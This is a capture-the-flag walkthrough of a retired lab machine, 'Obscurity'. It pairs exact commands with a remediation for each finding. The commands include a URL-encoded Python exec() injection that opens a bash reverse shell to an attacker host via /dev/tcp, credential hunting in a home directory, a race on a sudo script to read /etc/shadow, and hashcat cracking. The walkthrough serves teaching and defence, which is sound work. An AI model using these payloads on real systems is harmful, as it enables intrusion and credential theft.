Obscurity
Summary
I scanned the target and found a custom Python web server (BadHTTPServer) on port 8080 that served its own source code at a guessable development path. Reading the source revealed that the request handler passed the URL-decoded HTTP path directly into Python's exec(), letting any unauthenticated visitor run arbitrary OS commands.
A crafted HTTP request spawned a reverse shell as the web user (www-data). Filesystem enumeration uncovered plaintext SSH credentials for a local account (robert) stored in his home directory, giving a full user session and the first flag.
A sudo rule permitted robert to run a custom SSH wrapper (BetterSSH.py) as root; the script copied /etc/shadow into a hardcoded temporary directory that I had pre-created as world-readable, exposing the root password hash for offline cracking. Supplying the cracked root password back to the script's su call completed the escalation, delivering the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,8080 $TARGETcurl -sS -i http://$TARGET:8080/Exact commands 2
curl -sS http://$TARGET:8080/develop/SuperSecureServer.py -o SuperSecureServer.pygrep -n 'exec\|format\|path\|info' SuperSecureServer.pyFixRemove the unauthenticated source-code disclosure endpointHigh
info = "output = 'Document: {}'" ; exec(info.format(path)). My own path therefore controls exactly what Python code is evaluated with no authentication required. A URL-encoded payload embedding an os.system() bash reverse-shell call was sent as the HTTP GET path, establishing a shell as www-data (uid=33) on the host.Exact commands 2
nc -lvnp 4444curl -sS "http://$TARGET:8080/%27%3B__import__%28%22os%22%29.system%28%22bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/$ATTACKER_IP/4444%200%3E%261%27%22%29%23"FixRewrite the request handler to eliminate unsafe dynamic code evaluationCritical
Exact commands 3
ls -la /home/robert/find /home/robert -type f -readable 2>/dev/nullcat /home/robert/BetterSSH/BetterSSH.pyFixReplace cleartext credential storage with SSH key authenticationHigh
Exact commands 3
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 robert@$TARGETcat /home/robert/user.txtsudo -lExact commands 6
mkdir -p /tmp/SSH; chmod 777 /tmp/SSHsudo /home/robert/BetterSSH/BetterSSH.py &cat /tmp/SSH/*hashcat -m 1800 '<root_hash_from_shadow>' /usr/share/wordlists/rockyou.txtsudo /home/robert/BetterSSH/BetterSSH.pycat /root/root.txtFixRemove the BetterSSH sudo rule and eliminate the script's insecure shadow-file handlingCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 8080/tcp | http-proxy BadHTTPServer |